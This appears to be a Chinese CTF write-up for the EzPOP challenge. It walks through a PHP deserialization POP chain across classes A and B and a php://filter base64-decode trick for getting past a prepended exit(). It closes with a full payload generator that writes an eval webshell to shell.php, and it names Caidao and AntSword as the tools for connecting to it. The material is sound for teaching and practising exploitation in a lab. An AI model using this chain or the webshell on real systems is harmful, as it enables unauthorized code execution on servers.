1. 程式人生 > 其它 >[EIS 2019]EzPOP 1

[EIS 2019]EzPOP 1

目錄

考察內容

解題思路

解題流程

新知識點

題目地址

考察內容

反序列化,檔案上傳,程式碼審計

解題思路 

首先耐心閱讀完每段程式碼,發現__destruct,unserialize(),考察反序列化知識,file_put_contents()考察檔案上傳知識。

第一:發現file_put_contents函式有兩個引數filename和data,所以一個是寫入shell的路徑和shell的資料
data與死亡exit進行連線(可繞過)
第二 :filename引數是options['prefix']和$name進行拼接的結果,而這裡的**$name是形參**,所以這個$name是A類的key變數,是由save函式傳遞過來的由於options[‘prefix’]可控所以這裡我們可以使

options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php";

 

第三:構造shell的內容,也就是data變數,而data變數被serialize函式處理,是通過set函式中的$value變數傳遞過來的,而$value變數是A類中的**$contents變數傳遞**過來的,所以我們可以構造cache這個變數為陣列,然後經過兩個函式的處理,我們可以控制complete這個變數為shell的資料,經過json_encod這個函式的處理之後,由於json格式的字元都不滿足base64編碼的要求,所以我們可以將資料進行base64編碼繞過,也就是

A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST["ro4lsc"]);?>'))

 

首先將shellcode進行base64編碼使得base64decode的時候不會影響其內容,然後再次進行base64_encode是為了繞過死亡exit,由於解碼之後只剩21個字元,所以這裡需要自己新增三個字元,使得前面有24個字元可以base64正常解碼不影響後面shellcode的執行那麼到這裡data的內容也構造好了,

第四:可是我們發現使用php偽協議只解了一次編碼,而我們這裡經歷了兩次base64編碼前面提到了一個serialize函式
可以看到返回值是$serialize,也就是說這裡我們可以讓這個變數為base64_decode函式對data變數進行解碼。

第五:public function getForStorage這裡我們還需要傳入一個cache為陣列內容為空

A->cache=array();

 

第六:現在我們可以看A類save函式這個地方的利用很重要,它呼叫了getForStorage函式,後面的$this->store這個地方得是物件B才能呼叫set函式。所以

A->store = new B();

 

解題流程

程式碼審計

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

// 對變數進行賦值

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

// array_flip() 用於反轉/交換陣列中所有的鍵名以及它們關聯的鍵值
// => 簡單來說就是=>符號來分隔鍵和值,左側表示鍵,右側表示值
// array_intersect_key() 比較兩個陣列的鍵名,並返回交集:
// foreach() 迴圈用於遍歷陣列每一次迴圈,當前陣列元素的鍵與值就都會被賦值給 $key 和 $value 變數(數字指標會逐一地移動),在進行下一次迴圈時,你將看到陣列中的下一個鍵與值。

// 過濾與cachedProperties變數中鍵不同的值

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }

// Storage 儲存
// 對cache變數的內容進行過濾,傳遞給cleaned,最終返回將cleaned內容轉換為json格式後傳給complete。
// 因為不存在cache變數,所以需要我們構造,所以cache可控,所以complete可控。

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

// 將getForStorage函式的返回值賦給contents,然後用store變數呼叫set函式
// set函式存在於B類中

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

// 如果不存在autosave變數就呼叫save函式

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

// 將expire變數轉換為int型別

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

// 拼接字串
// 發現這裡的options[‘prefix’]可控

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

// 將傳入的data引數將會格式化為string型別
// 可以看到$serialize變數可控

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 建立失敗
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //資料壓縮
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

// is_null()判斷引數是否為NULL,若為空,則將options['expire']賦值給expire
// expire變數呼叫了getExpireTime這個函式,格式化為int型別
// filename變數呼叫了getCacheKey這個函式,所以filename這個變數最終的值是和options[‘prefix’]拼接而成,然後根據filename建立目錄
// 接著看到data變數呼叫了serialize函式,正好這個函式需要傳入一個值
// 接下來對data進行壓縮
// 最後這個地方data資料與<?php exit();?連線,也就是說即使我們傳上了木馬也無濟於事,會直接退出,也就是PHP中的死亡exit().

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

 

payload:

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
        $this->cache = array();
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
        $this->key = "shell.php";
        $this->store = new B();
        $this->autosave = false;
        $this->expire = 0;
    }


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

 

驗證

使用?data=傳遞引數,它會在當前工作目錄建立一個shell.php,菜刀orAntSword連線getshell。

新知識點

php://filter的妙用

這個地方data資料與<?php exit();?>連線,也就是說即使我們傳上了木馬也無濟於事,會直接退出,也就是PHP中的死亡exit(),但是也不是沒有繞過的方法,這裡引用@p神的一篇文章由於<、?、()、;、>、\n都不是base64編碼的範圍,所以base64解碼的時候會自動將其忽略,所以解碼之後就剩phpexit了,但是呢base64演算法解碼時是4個位元組一組,所以我們還需要在前面加個字元

題目地址

https://buuoj.cn/challenges